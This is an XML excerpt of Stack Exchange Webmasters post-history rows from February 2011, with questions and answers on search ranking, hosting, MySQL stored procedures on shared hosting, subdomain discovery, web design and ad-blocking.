  <row Id="19989" PostHistoryTypeId="2" PostId="9121" RevisionGUID="0c0c6e93-af67-43ab-8988-b6e3321c1e14" CreationDate="2011-02-13T17:48:55.537" UserId="2185" Text="1. For the past one month i was getting network unreachable error.&#xD;&#xA;2. I contacted my web hosting and they said that google bots were blocked if it were causing more traffic. &#xD;&#xA;3. And then they witelisted google bots.&#xD;&#xA;4. Now the errors did not appear but my ranking and search results went down to more than 6 pages or they did not appear at all.&#xD;&#xA;5. Now google is able to read my robots and sitemap. Just yesterday. &#xD;&#xA;&#xD;&#xA;when will search results and page rank gets to its previous positions? like it were before a month?&#xD;&#xA;&#xD;&#xA;Most links did not appear in google search result.&#xD;&#xA;" />
  <row Id="19990" PostHistoryTypeId="1" PostId="9121" RevisionGUID="0c0c6e93-af67-43ab-8988-b6e3321c1e14" CreationDate="2011-02-13T17:48:55.537" UserId="2185" Text="when will google revert back page rank after i cleared network unrechable error " />
  <row Id="19991" PostHistoryTypeId="3" PostId="9121" RevisionGUID="0c0c6e93-af67-43ab-8988-b6e3321c1e14" CreationDate="2011-02-13T17:48:55.537" UserId="2185" Text="&lt;google-webmaster-tools&gt;" />
  <row Id="19992" PostHistoryTypeId="5" PostId="8799" RevisionGUID="057cecab-625b-4f53-b974-002e88275a0f" CreationDate="2011-02-13T18:39:18.923" UserId="1419" Comment="added 476 characters in body" Text="Well, you might still pick one of the open source solutions and keep upgrading your Q&amp;A site as the software matures. &#xD;&#xA;&#xD;&#xA;If you need more info about [askbot][1] - that's the one I am developing - just drop by at the site and ask or email admin@askbot.org.&#xD;&#xA;&#xD;&#xA;With askbot upgrades are normally painless and the product is stable. There are more test cases than in any other similar product I know of, no known critical bugs and the development is steady. &#xD;&#xA;&#xD;&#xA;Of course there are other open source solutions available and you know where to find them...&#xD;&#xA;&#xD;&#xA;Also I want to add that I am gathering support team right now and I might be able to match your needs with the developers who can execute them and at the same time contribute to the main project.&#xD;&#xA;&#xD;&#xA;**edit**: I want to defend open source solutions here. They give an advantage to the client - not to depend on a single entity for the availability of a service or a product. IT business is quite volatile - StackExchange 1.0 is one example. Secondly - I just do not believe that proprietary products of this class can be sustained at a higher level than the open source in the long run - because forums are relatively simple.&#xD;&#xA;&#xD;&#xA;  [1]: http://askbot.org/en/questions/" />
  <row Id="19993" PostHistoryTypeId="2" PostId="9122" RevisionGUID="fe67a6ef-1417-4553-818d-8cf4bca72543" CreationDate="2011-02-13T19:06:09.840" UserId="4502" Text="Bandwidth.  &#xD;&#xA;&#xD;&#xA;(Which is to say: you're looking at this the wrong way and so asking the wrong question. Quirks mode is just a side-effect of what they're &lt;em&gt;actually&lt;/em&gt; doing.)&#xD;&#xA;&#xD;&#xA;Your immediate reaction to this will be that it couldn't possibly be much. But multiply that small amount by their &lt;em&gt;traffic&lt;/em&gt;, and it suddenly becomes a real number. Sites like Amazon(Google, Yahoo...) have to take things into consideration that you might never even think about, and also employ cheats that would normally be unacceptable if you're just going for standards compliance, but are still workable. &#xD;&#xA;&#xD;&#xA;If Amazon ever does use local storage, or anything else quirks mode would definitely break, you'll see a doctype get added immediately; right now though, it's a technically correct but also theoretical(in this context) argument." />
  <row Id="19994" PostHistoryTypeId="2" PostId="9123" RevisionGUID="6f6070b7-4f6c-44fe-b253-d999b8ff1030" CreationDate="2011-02-13T19:33:53.840" UserId="5362" Text="After more research, I found DadaMail (http://dadamailproject.com/)...&#xD;&#xA;&#xD;&#xA;but as much as I wanted to install a dedicated program for each of my websites, I think I'm going to recommend a dedicated offsite service for myself and my customers...&#xD;&#xA;&#xD;&#xA;MailChimp.com&#xD;&#xA;&#xD;&#xA;I have not used it yet but I signed up and imported a few email addresses... the interface looks pretty straightforward and fool-proof.  They offer a 100% free service for up to 2000 names and 12,000 message per month." />
  <row Id="19996" PostHistoryTypeId="25" PostId="9121" RevisionGUID="7b890c02-da26-4008-8451-8c19a3a7328a" CreationDate="2011-02-13T20:22:20.250" Comment="http://twitter.com/#!/StackWebmasters/status/36882887064162305" />
  <row Id="19997" PostHistoryTypeId="5" PostId="9123" RevisionGUID="a4e05eaa-33ec-4347-aee1-3094d387fd20" CreationDate="2011-02-13T20:48:57.600" UserId="5362" Comment="added 39 characters in body" Text="After more research, I found DadaMail (http://dadamailproject.com/) and poMMo (http://pommo.org/Main_Page)...&#xD;&#xA;&#xD;&#xA;but as much as I wanted to install a dedicated program for each of my websites, I think I'm going to recommend a dedicated offsite service for myself and my customers...&#xD;&#xA;&#xD;&#xA;MailChimp.com&#xD;&#xA;&#xD;&#xA;I have not used it yet but I signed up and imported a few email addresses... the interface looks pretty straightforward and fool-proof.  They offer a 100% free service for up to 2000 names and 12,000 message per month." />
  <row Id="19998" PostHistoryTypeId="2" PostId="9125" RevisionGUID="63a869a7-6d7a-4054-b43f-baab9dc7851d" CreationDate="2011-02-13T22:06:59.373" UserId="1787" Text="It's not cost effective.&#xD;&#xA;&#xD;&#xA;Standards are important to techies like us, but at the end of the day someone has to pay the bills. The site works and works pretty well. As JamesRyan says, it's a lot of work to update the entire site. This isn't so much in making code changes, but **in testing**. There are many variations of browsers and platforms. And what does your average Joe User get out of it, when they could be getting new features instead?&#xD;&#xA;&#xD;&#xA;Considering the risk of lost income due to introduced bugs, and the benefit that would be brought to the business, I'm not sure how there is a compelling reason to make a change like this. For some companies, it's not important enough.&#xD;&#xA;" />
  <row Id="19999" PostHistoryTypeId="25" PostId="8906" RevisionGUID="15e758a5-2e3a-4fdc-8fcf-0ff283067ea1" CreationDate="2011-02-13T23:22:20.760" Comment="http://twitter.com/#!/StackWebmasters/status/36928187917144064" />
  <row Id="20000" PostHistoryTypeId="17" PostId="9127" RevisionGUID="71884631-ed6b-46c5-b35b-e0710c42df82" CreationDate="2011-02-14T02:10:14.347" UserId="-1" Comment="from http://stackoverflow.com/questions/4308161/find-child-domains-of-a-url/4308194#4308194" Text="" />
  <row Id="20001" PostHistoryTypeId="17" PostId="9128" RevisionGUID="ff96c624-4626-418a-a7be-6e7f233adf0c" CreationDate="2011-02-14T02:10:14.347" UserId="-1" Comment="from http://stackoverflow.com/questions/4308161/find-child-domains-of-a-url/4308197#4308197" Text="" />
  <row Id="20002" PostHistoryTypeId="17" PostId="9129" RevisionGUID="271a40e2-fcee-4e18-a6b3-22bf0f42395f" CreationDate="2011-02-14T02:10:14.347" UserId="-1" Comment="from http://stackoverflow.com/questions/4308161/find-child-domains-of-a-url/4308204#4308204" Text="" />
  <row Id="20003" PostHistoryTypeId="2" PostId="9127" RevisionGUID="49cfc8b1-f83e-40a4-89f2-5f5e45508883" CreationDate="2010-11-29T21:17:20.700" UserDisplayName="Sean Kinsey" Text="Only if the DNS server allows [DNS zone Transfer][1], which almost no servers do for security reasons.&#xD;&#xA;&#xD;&#xA;That is the only way.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/DNS_zone_transfer" />
  <row Id="20004" PostHistoryTypeId="2" PostId="9129" RevisionGUID="67a08e5b-b517-4896-b08b-a05cfe8224f8" CreationDate="2010-11-29T21:18:42.953" UserDisplayName="simshaun" Text="Try doing site:websiteaddress.com in a Google search. It will let you find any subdomains that are public somewhere." />
  <row Id="20005" PostHistoryTypeId="2" PostId="9128" RevisionGUID="84913cca-46ab-418f-ba10-3f7858eeb63d" CreationDate="2010-11-29T21:17:40.267" UserDisplayName="Yaroslav Boichuk" Text="U can use diff online services. One of them is [http://www.magic-net.info/dns-and-ip-tools.dnslookup][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.magic-net.info/dns-and-ip-tools.dnslookup" />
  <row Id="20006" PostHistoryTypeId="2" PostId="9126" RevisionGUID="f9d2a869-de80-4b3d-a1d4-f90181bf937a" CreationDate="2010-11-29T21:14:23.483" UserDisplayName="user353829" Text="Is there a way to find all the child domains of a URL?&#xD;&#xA;&#xD;&#xA;e.g. parent url: www.example.com&#xD;&#xA;&#xD;&#xA;Sample child domains:&#xD;&#xA;&#xD;&#xA;- www.a.example.com&#xD;&#xA;- www.abracadabra.example.com&#xD;&#xA;- www.zoo.example.com" />
  <row Id="20007" PostHistoryTypeId="1" PostId="9126" RevisionGUID="f9d2a869-de80-4b3d-a1d4-f90181bf937a" CreationDate="2010-11-29T21:14:23.483" UserDisplayName="user353829" Text="Find child domains of a URL" />
  <row Id="20008" PostHistoryTypeId="3" PostId="9126" RevisionGUID="f9d2a869-de80-4b3d-a1d4-f90181bf937a" CreationDate="2010-11-29T21:14:23.483" UserDisplayName="user353829" Text="&lt;url&gt;&lt;domains&gt;&lt;subdomain&gt;" />
  <row Id="20009" PostHistoryTypeId="17" PostId="9126" RevisionGUID="b8aa0f0c-2b92-47e2-b6a4-d80193a71e4a" CreationDate="2011-02-14T02:10:14.347" UserId="-1" Comment="from http://stackoverflow.com/questions/4308161/find-child-domains-of-a-url" Text="" />
  <row Id="20010" PostHistoryTypeId="25" PostId="8962" RevisionGUID="1d3d887f-da05-442c-aadb-b29ade1c6696" CreationDate="2011-02-14T02:22:20.730" Comment="http://twitter.com/#!/StackWebmasters/status/36973485930725376" />
  <row Id="20011" PostHistoryTypeId="5" PostId="9035" RevisionGUID="629ba52f-c3de-41f9-9180-d0415a33b3b6" CreationDate="2011-02-14T05:08:22.990" UserId="4461" Comment="Spelling, camel-case, lists, capitalization etc" Text="At present when I Google the domain name of the WordPress sites I have worked on, I receive at least three listings (often the top three). &#xD;&#xA;&#xD;&#xA;The first listing is the only one I am interested in seeing, others appear from individual pages from that WordPress site i.e.:  &#xD;&#xA;1st hit - www.domain.com   &#xD;&#xA;2nd hit - www.domain.com/about  &#xD;&#xA;3rd hit - www.domain.com/designers  &#xD;&#xA;&#xD;&#xA;Does anybody know if its possible to remove all the links but the absolute www.domain.com?" />
  <row Id="20012" PostHistoryTypeId="4" PostId="9035" RevisionGUID="629ba52f-c3de-41f9-9180-d0415a33b3b6" CreationDate="2011-02-14T05:08:22.990" UserId="4461" Comment="Spelling, camel-case, lists, capitalization etc" Text="Multiple domain links on Google from one WordPress site" />
  <row Id="20013" PostHistoryTypeId="6" PostId="9035" RevisionGUID="629ba52f-c3de-41f9-9180-d0415a33b3b6" CreationDate="2011-02-14T05:08:22.990" UserId="4461" Comment="Spelling, camel-case, lists, capitalization etc" Text="seogoogledomainwordpress" />
  <row Id="20014" PostHistoryTypeId="24" PostId="9035" RevisionGUID="25c18ea2-b36f-447a-95ec-2f0a5d86bfb4" CreationDate="2011-02-14T05:08:22.990" Comment="Proposed by 4461 approved by 1253 edit id of 15" />
  <row Id="20015" PostHistoryTypeId="25" PostId="8951" RevisionGUID="d8b5e940-d7e8-4e52-9493-25929ce6dca9" CreationDate="2011-02-14T05:22:20.777" Comment="http://twitter.com/#!/StackWebmasters/status/37018784778690561" />
  <row Id="20016" PostHistoryTypeId="5" PostId="9110" RevisionGUID="7fbd82f2-0e52-48ed-93c1-6be7f0150752" CreationDate="2011-02-14T06:17:03.983" UserId="5370" Comment="added 274 characters in body; edited tags" Text="We are looking for a way to integrate a feed aggregator (planet) into a Django site. Ideally, the planet should integrate as part of a page of the site as a whole, rather than a standalone page like all other plants I've seen. We could use an iframe, but then style won't match. The best way might be something that just returns a raw list of last *N* feed items, which we then insert into a template.&#xD;&#xA;&#xD;&#xA;Does anyone have any suggestions of how we can achieve this?" />
  <row Id="20017" PostHistoryTypeId="6" PostId="9110" RevisionGUID="7fbd82f2-0e52-48ed-93c1-6be7f0150752" CreationDate="2011-02-14T06:17:03.983" UserId="5370" Comment="added 274 characters in body; edited tags" Text="&lt;rss&gt;&lt;feeds&gt;&lt;django&gt;&lt;integration&gt;" />
  <row Id="20018" PostHistoryTypeId="2" PostId="9130" RevisionGUID="5fd4d605-d8cb-417f-ae50-5a0b9e255b2d" CreationDate="2011-02-14T06:39:51.427" UserId="5039" Text="HI every one ,I have account with one of the hosting company, and i did my project in asp.net and I used MySQL for the database.&#xD;&#xA;&#xD;&#xA;the hosting company is not giving me the full privileges to create new user or to create new stored procedure!!! &#xD;&#xA;&#xD;&#xA;this is what they said for me:&#xD;&#xA;&#xD;&#xA;&gt; Due to the shared nature of our environment we had to make some modifications to your procedure (namely the definer). We also had to review your procedure to determine if it would be compatible with our environment.&#xD;&#xA;&gt; &#xD;&#xA;&gt; While your procedures will work (via phpMyAdmin or some other interface), it is unlikely they will be accessible via the Connector/.NET (ADO.NET) that your application is likely using. This is due to a security restriction with how that connector works in shared environments.&#xD;&#xA;&#xD;&#xA;&gt; http://dev.mysql.com/doc/refman/5.0/en/connector-net-programming-stored.html&#xD;&#xA;&#xD;&#xA;&gt; &quot;Note&#xD;&#xA;&#xD;&#xA;&gt; When you call a stored procedure, the command object makes an additional SELECT call to determine the parameters of the stored procedure. You must ensure that the user calling the procedure has the SELECT privilege on the mysql.proc table to enable them to verify the parameters. Failure to do this will result in an error when calling the procedure.&quot;&#xD;&#xA;&#xD;&#xA;&gt; Unfortunately, giving read privileges on the mysql.proc table will give you access to the data of our other customers and that is not an acceptable risk. If your application can only work using stored procedures, then MSSQL will probably be the better option for your site.&#xD;&#xA;&#xD;&#xA;&gt; I apologize for the inconvenience and the wait to have this ticket completed.&#xD;&#xA;&#xD;&#xA;***So is there any good hosting that any body already used it to publish his asp.net and mysql project ???*** &#xD;&#xA;&#xD;&#xA;this is one of my stored procedure and i think it's sample and it will not harm any other uses!!:&#xD;&#xA;&#xD;&#xA;    -- --------------------------------------------------------------------------------&#xD;&#xA;    -- Routine DDL&#xD;&#xA;    -- Note: comments before and after the routine body will not be stored by the server&#xD;&#xA;    -- --------------------------------------------------------------------------------&#xD;&#xA;    DELIMITER $$&#xD;&#xA;    &#xD;&#xA;    CREATE DEFINER=`root`@`localhost` PROCEDURE `SpcategoriesRead`(&#xD;&#xA;        IN PaRactioncode VARCHAR(5),&#xD;&#xA;        IN PaRCatID BIGINT,&#xD;&#xA;        IN PaRSearchText TEXT&#xD;&#xA;    )&#xD;&#xA;    BEGIN&#xD;&#xA;    &#xD;&#xA;    -- CREATING TEMPORARY TABLE TO SAVE DATA FROM THE ACTIONCODE SELECTS --&#xD;&#xA;    &#xD;&#xA;    DROP TEMPORARY TABLE IF EXISTS TEMP;&#xD;&#xA;    &#xD;&#xA;    CREATE temporary table tmp&#xD;&#xA;    (&#xD;&#xA;        CatID BIGINT primary key not null,&#xD;&#xA;        CatTitle TEXT,&#xD;&#xA;        CatDescription TEXT,&#xD;&#xA;        CatTitleAr TEXT,&#xD;&#xA;        CatDescriptionAr TEXT,&#xD;&#xA;        PictureID BIGINT,&#xD;&#xA;        Published BOOLEAN,&#xD;&#xA;        DisplayOrder BIGINT,&#xD;&#xA;        CreatedOn DATE&#xD;&#xA;    );&#xD;&#xA;    &#xD;&#xA;    IF PaRactioncode = 1 THEN -- Retrive all DATA from the database --&#xD;&#xA;        INSERT INTO tmp&#xD;&#xA;        SELECT CatID,CatTitle,CatDescription,CatTitleAr,CatDescriptionAr,PictureID,Published,DisplayOrder,CreatedOn&#xD;&#xA;        FROM tbcategories;&#xD;&#xA;    ELSEIF PaRactioncode = 2 THEN -- Retrive all from the database By ID --&#xD;&#xA;        INSERT INTO tmp&#xD;&#xA;        SELECT CatID,CatTitle,CatDescription,CatTitleAr,CatDescriptionAr,PictureID,Published,DisplayOrder,CreatedOn  &#xD;&#xA;        FROM tbcategories&#xD;&#xA;        WHERE CatID=PaRCatID;&#xD;&#xA;    ELSEIF PaRactioncode = 3 THEN -- NOSET YET --&#xD;&#xA;        INSERT INTO tmp&#xD;&#xA;        SELECT CatID,CatTitle,CatDescription,CatTitleAr,CatDescriptionAr,PictureID,Published,DisplayOrder,CreatedOn &#xD;&#xA;        FROM tbcategories&#xD;&#xA;        WHERE Published=1 &#xD;&#xA;        ORDER BY DisplayOrder; &#xD;&#xA;     END IF;&#xD;&#xA;    &#xD;&#xA;     IF PaRSearchText IS NOT NULL THEN&#xD;&#xA;        set PaRSearchText=concat('%', PaRSearchText ,'%');&#xD;&#xA;        SELECT CatID,CatTitle,CatDescription,CatTitleAr,CatDescriptionAr,PictureID,Published,DisplayOrder,CreatedOn&#xD;&#xA;        FROM tmp&#xD;&#xA;        WHERE Concat(CatTitle, CatDescription, CatTitleAr, CatDescriptionAr)&#xD;&#xA;        LIKE  PaRSearchText;&#xD;&#xA;     ELSE &#xD;&#xA;        SELECT CatID,CatTitle,CatDescription,CatTitleAr,CatDescriptionAr,PictureID,Published,DisplayOrder,CreatedOn&#xD;&#xA;        FROM tmp;&#xD;&#xA;        END IF; &#xD;&#xA;    &#xD;&#xA;    DROP TEMPORARY TABLE IF EXISTS tmp; &#xD;&#xA;    &#xD;&#xA;     END&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20019" PostHistoryTypeId="1" PostId="9130" RevisionGUID="5fd4d605-d8cb-417f-ae50-5a0b9e255b2d" CreationDate="2011-02-14T06:39:51.427" UserId="5039" Text="Is there any good hosting for asp.net and MySQL" />
  <row Id="20020" PostHistoryTypeId="3" PostId="9130" RevisionGUID="5fd4d605-d8cb-417f-ae50-5a0b9e255b2d" CreationDate="2011-02-14T06:39:51.427" UserId="5039" Text="&lt;sql&gt;&lt;mysql&gt;&lt;web-hosting&gt;&lt;shared-hosting&gt;" />
  <row Id="20021" PostHistoryTypeId="17" PostId="9130" RevisionGUID="3adf2af3-dead-4fae-b85e-7135e32007ff" CreationDate="2011-02-14T07:05:52.473" UserId="-1" Comment="from http://stackoverflow.com/questions/4989489/is-there-any-good-hosting-for-asp-net-and-mysql" Text="" />
  <row Id="20022" PostHistoryTypeId="5" PostId="9110" RevisionGUID="1351e09e-407c-4bd1-98df-495f680ed26d" CreationDate="2011-02-14T07:59:49.887" UserId="5370" Comment="added 80 characters in body" Text="We are looking for a way to integrate a feed aggregator (like a planet, which takes a set of rss/atom feeds and posts the latest *N* feed items) into a Django site. Ideally, the planet should integrate as part of a page of the site as a whole, rather than a standalone page like all other plants I've seen. We could use an iframe, but then style won't match. The best way might be something that just returns a raw list of last *N* feed items, which we then insert into a template.&#xD;&#xA;&#xD;&#xA;Does anyone have any suggestions of how we can achieve this?" />
  <row Id="20023" PostHistoryTypeId="25" PostId="9130" RevisionGUID="47199933-4dc6-44de-a25f-2c137bec18dd" CreationDate="2011-02-14T08:22:20.787" Comment="http://twitter.com/#!/StackWebmasters/status/37064083027009536" />
  <row Id="20024" PostHistoryTypeId="5" PostId="9043" RevisionGUID="6b45a3e2-79c2-41e3-8922-e042c7a40ef8" CreationDate="2011-02-14T08:56:44.177" UserId="3467" Comment="added 1130 characters in body" Text="#Developing:&#xD;&#xA;&#xD;&#xA;Software:&#xD;&#xA;&#xD;&#xA;- Zend Development Environment &#xD;&#xA;- [FileZilla][1]&#xD;&#xA;- EditPlus if needed&#xD;&#xA;- Photoshop&#xD;&#xA;&#xD;&#xA;Front-end frameworks/etc:&#xD;&#xA;&#xD;&#xA;- [CSS3pie][2]&#xD;&#xA;- [html5boilerplate][3]&#xD;&#xA;- [FontSquirrel][4]&#xD;&#xA;- [Modernizr][5] + [Selectivizr][6]&#xD;&#xA;- Where needed: jQuery&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Browsers:&#xD;&#xA;&#xD;&#xA;- Chrome + [EyeDropper][7] (colorpicker) plugin&#xD;&#xA;- FireFox + [FireBug][8] + [YSlow][9]&#xD;&#xA;- FireFox second install [emulating iPad][10] &#xD;&#xA;- IE8 and IE9beta&#xD;&#xA;- Opera&#xD;&#xA;- Safari&#xD;&#xA;&#xD;&#xA;Sites:&#xD;&#xA;&#xD;&#xA;- [StackOverflow][11]&#xD;&#xA;- [A List Apart][12]&#xD;&#xA;- [CSS3.info][13]&#xD;&#xA;- [HTML5 Doctor][14]&#xD;&#xA;- [CSS3 Gradient Generator][15]&#xD;&#xA;- [CSS minifier][16]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;#SEO:&#xD;&#xA;- [Webmaster Tools][17]&#xD;&#xA;- [Analytics][18]&#xD;&#xA;- SEOmoz [Open Site Explorer][19]&#xD;&#xA;- [Yahoo Site Explorer][20]&#xD;&#xA;- Google PR Toolbar&#xD;&#xA;&#xD;&#xA;#Comic relief and other distractions&#xD;&#xA;(VERY important to get your mind off of the code once in a while)&#xD;&#xA;&#xD;&#xA;- [CSSsquirrel][21]&#xD;&#xA;- [Dilbert][22]&#xD;&#xA;- [Cyanide &amp; Happiness][23]&#xD;&#xA;- a movie trivia quiz &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://filezilla-project.org/&#xD;&#xA;  [2]: http://www.css3pie.com&#xD;&#xA;  [3]: http://www.html5boilerplate.com&#xD;&#xA;  [4]: http://www.fontsquirrel&#xD;&#xA;  [5]: http://www.modernizr.com/&#xD;&#xA;  [6]: http://selectivizr.com/&#xD;&#xA;  [7]: https://chrome.google.com/extensions/detail/hmdcmlfkchdmnmnmheododdhjedfccka&#xD;&#xA;  [8]: http://getfirebug.com/&#xD;&#xA;  [9]: http://developer.yahoo.com/yslow/&#xD;&#xA;  [10]: http://www.labnol.org/internet/test-websites-on-ipad/13368/&#xD;&#xA;  [11]: http://www.stackoverflow.com&#xD;&#xA;  [12]: http://alistapart.com&#xD;&#xA;  [13]: http://css3.info&#xD;&#xA;  [14]: http://html5doctor.com&#xD;&#xA;  [15]: http://gradients.glrzad.com/&#xD;&#xA;  [16]: http://www.minifycss.com/css-compressor/&#xD;&#xA;  [17]: https://www.google.com/webmasters/tools/home&#xD;&#xA;  [18]: https://www.google.com/analytics/settings/?pli=1&#xD;&#xA;  [19]: http://www.opensiteexplorer.org/&#xD;&#xA;  [20]: http://siteexplorer.search.yahoo.com/&#xD;&#xA;  [21]: http://www.cssquirrel.com/comic/&#xD;&#xA;  [22]: http://www.dilbert.com/&#xD;&#xA;  [23]: http://www.explosm.net/comics/" />
  <row Id="20025" PostHistoryTypeId="2" PostId="9131" RevisionGUID="0431b131-c5a6-4d12-830d-0d1d1a2c3504" CreationDate="2011-02-14T09:54:27.697" UserId="3307" Text="A place to start would probably be [Microsoft's suggested hosting][1]. Although they might have paid MS to advertise there, but there might be some good offers there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/web/hosting/home" />
  <row Id="20028" PostHistoryTypeId="2" PostId="9133" RevisionGUID="4d66e4e2-2401-4cbe-bf71-5738d2fde449" CreationDate="2011-02-14T10:16:35.557" UserId="3307" Text="Firstly, you need to decide what platform you're going to be running. Microsoft-based platforms will cost more than open source ones.&#xD;&#xA;&#xD;&#xA;Amazon/RackspaceCloud would be the best route to go down.&#xD;&#xA;&#xD;&#xA;I run a single rackspace cloud server with Apache and MySQL which costs me about $20 a month.&#xD;&#xA;&#xD;&#xA;One thing it's worth noting is that if the server isn't going to be interacting with the outside world, just your servers, it's definitely worthwhile using AWS or Rackspace as then you can use their internal network which is (usually) free. " />
  <row Id="20029" PostHistoryTypeId="17" PostId="9135" RevisionGUID="745336d8-d753-4184-a0c6-6b85628a55a7" CreationDate="2011-02-14T10:17:27.397" UserId="-1" Comment="from http://stackoverflow.com/questions/4990409/whats-the-point-of-placing-self-links-on-a-webpage/4990439#4990439" Text="" />
  <row Id="20030" PostHistoryTypeId="17" PostId="9136" RevisionGUID="58a6f20c-8c6c-43b8-84d5-6285a380cfb0" CreationDate="2011-02-14T10:17:27.397" UserId="-1" Comment="from http://stackoverflow.com/questions/4990409/whats-the-point-of-placing-self-links-on-a-webpage/4990444#4990444" Text="" />
  <row Id="20032" PostHistoryTypeId="17" PostId="9138" RevisionGUID="f863d495-efd0-4acd-92b2-f637258ea240" CreationDate="2011-02-14T10:17:27.397" UserId="-1" Comment="from http://stackoverflow.com/questions/4990409/whats-the-point-of-placing-self-links-on-a-webpage/4990932#4990932" Text="" />
  <row Id="20033" PostHistoryTypeId="2" PostId="9135" RevisionGUID="e77ce815-c5bb-4e1f-8044-a2c3266dc3a9" CreationDate="2011-02-14T09:14:26.097" UserDisplayName="asgerhallas" Text="I always use the post title here on StackOverflow to reload the page - to check for new answers or edits.&#xD;&#xA;&#xD;&#xA;I actually suspect, that this is the most common thing it's used for." />
  <row Id="20034" PostHistoryTypeId="2" PostId="9136" RevisionGUID="ac7430a0-3048-45d8-b9c4-1c63925c9228" CreationDate="2011-02-14T09:14:46.213" UserDisplayName="Thilo" Text="Maybe to let people go to the most recent version in case they are looking at a mirror?&#xD;&#xA;&#xD;&#xA;Also, I click on question titles here as a &quot;safe refresh&quot;. Not necessary on Stack Overflow, but on some other sites an F5 will give you nasty &quot;Do you want to POST again&quot; alerts (or double submit)." />
  <row Id="20036" PostHistoryTypeId="2" PostId="9138" RevisionGUID="ea78e5f8-a7df-4ab0-a65e-f6aee91262d3" CreationDate="2011-02-14T10:12:28.767" UserId="4502" Text="As a counterpoint to the other answers, this was actually discouraged at one point as potentially confusing to search engine bots if I recall correctly. It may still be, but I'm having some trouble digging up a citation at the moment(which may itself be an indicator this is no longer the case)." />
  <row Id="20037" PostHistoryTypeId="2" PostId="9134" RevisionGUID="bd32b3eb-9ed9-41ce-a01b-ed208b122404" CreationDate="2011-02-14T09:11:16.130" UserDisplayName="Calmarius" Text="I often see links on webpages that link to the page itself.&#xD;&#xA;For example on forums, blogs and even here the topic title is a link and points to the page itself.&#xD;&#xA;&#xD;&#xA;What's the point of doing this?" />
  <row Id="20038" PostHistoryTypeId="1" PostId="9134" RevisionGUID="bd32b3eb-9ed9-41ce-a01b-ed208b122404" CreationDate="2011-02-14T09:11:16.130" UserDisplayName="Calmarius" Text="What's the point of placing self links on a webpage?" />
  <row Id="20039" PostHistoryTypeId="3" PostId="9134" RevisionGUID="bd32b3eb-9ed9-41ce-a01b-ed208b122404" CreationDate="2011-02-14T09:11:16.130" UserDisplayName="Calmarius" Text="&lt;html&gt;&lt;web-applications&gt;&lt;web-design&gt;" />
  <row Id="20040" PostHistoryTypeId="17" PostId="9134" RevisionGUID="8196d9d2-ef9a-43ee-8028-1301d109b3e1" CreationDate="2011-02-14T10:17:27.397" UserId="-1" Comment="from http://stackoverflow.com/questions/4990409/whats-the-point-of-placing-self-links-on-a-webpage" Text="" />
  <row Id="20041" PostHistoryTypeId="2" PostId="9139" RevisionGUID="6263f6f1-efa4-4a04-b2c6-66de509e65a6" CreationDate="2011-02-14T10:18:14.650" UserId="3307" Text="I doubt it will revert back straight away, especially as the host was unreachable. However, if you had a fairly high PR, then over time it might creep back up." />
  <row Id="20042" PostHistoryTypeId="2" PostId="9140" RevisionGUID="53a021ff-de21-4824-899a-0f1244fd48c9" CreationDate="2011-02-14T10:20:27.993" UserId="3307" Text="It might not harm any other users but if you're on a shared database with other users, I doubt they'd want you to be able to create other user accounts. I would advise running this proc under another account." />
  <row Id="20043" PostHistoryTypeId="2" PostId="9141" RevisionGUID="52a9bac3-756c-4e18-8ecf-70f232013b9b" CreationDate="2011-02-14T10:28:59.753" UserId="4803" Text="Usability, and consistency.&#xD;&#xA;&#xD;&#xA;**Usability:**&#xD;&#xA;&#xD;&#xA;In order for your users to use your site the most efficiently, you must think of every situation possible that they might think of. Predicting what the user will want and delivering it to them before they are even there is good usability. Providing multiple locations for a perma-link (As Yi Jang said) allows for StackExchange to be easier to use, if you can get the perma-link from the address bar, the title, etc.&#xD;&#xA;&#xD;&#xA;When looking at routes that users can take, you want to provide as many routes as possible to get there and / or get something accomplished, mainly because not everyone thinks the same and the idea to go straight to address bar to get the perma-link might come after going to the title of the page. The title of the page is bigger and easier to hit with the mouse.&#xD;&#xA;&#xD;&#xA;**Consistency:**&#xD;&#xA;&#xD;&#xA;If you click on the Questions link, it will still be there on the Questions page. The reason is because you want to form the best mental map in the users mind that you can. So, having links change creates uncertainty and confusion for the user. So, when you have the home button on the homepage, and the user goes to about and sees that the about link is still there, they know that the navigation will always be there to anchor on to.&#xD;&#xA;&#xD;&#xA;That goes into the psychological analysis of web design... which can get kind of confusing all on it's own." />
  <row Id="20044" PostHistoryTypeId="5" PostId="9077" RevisionGUID="aefc66f5-ad5e-4505-80df-96087cceedbc" CreationDate="2011-02-14T10:46:07.337" UserId="4502" Comment="added 61 characters in body" Text="WebFaction is shared hosting(though they let you do a lot more than most shared hosts do) and allows you to build a custom Apache instance, along with pretty much anything else." />
  <row Id="20045" PostHistoryTypeId="2" PostId="9142" RevisionGUID="2b132b74-28a0-4d3e-b303-a1412185b0b0" CreationDate="2011-02-14T10:50:03.417" UserId="3282" Text="Firefox and Chrome are my favourite browsers. The main reason is an extension called Adblock Plus. Basically, it blocks all the ad networks if you subscribe to one of the lists, like EasyList. Does it also protect against malicious ads on completely legitimate websites? For instance, several news websites use ad services that may allow a malicious user to insert &quot;evil code&quot;. This makes the web very unsafe, especially for those who lack a serious antivirus product." />
  <row Id="20046" PostHistoryTypeId="1" PostId="9142" RevisionGUID="2b132b74-28a0-4d3e-b303-a1412185b0b0" CreationDate="2011-02-14T10:50:03.417" UserId="3282" Text="Does the Adblock Plus extension prevent malicious code from downloading/executing?" />
  <row Id="20047" PostHistoryTypeId="3" PostId="9142" RevisionGUID="2b132b74-28a0-4d3e-b303-a1412185b0b0" CreationDate="2011-02-14T10:50:03.417" UserId="3282" Text="&lt;security&gt;&lt;adblock&gt;&lt;malware&gt;" />
  <row Id="20049" PostHistoryTypeId="25" PostId="9134" RevisionGUID="df8bca43-7cab-4c83-bf34-066570b6e0ae" CreationDate="2011-02-14T11:22:20.910" Comment="http://twitter.com/#!/StackWebmasters/status/37109382441340929" />
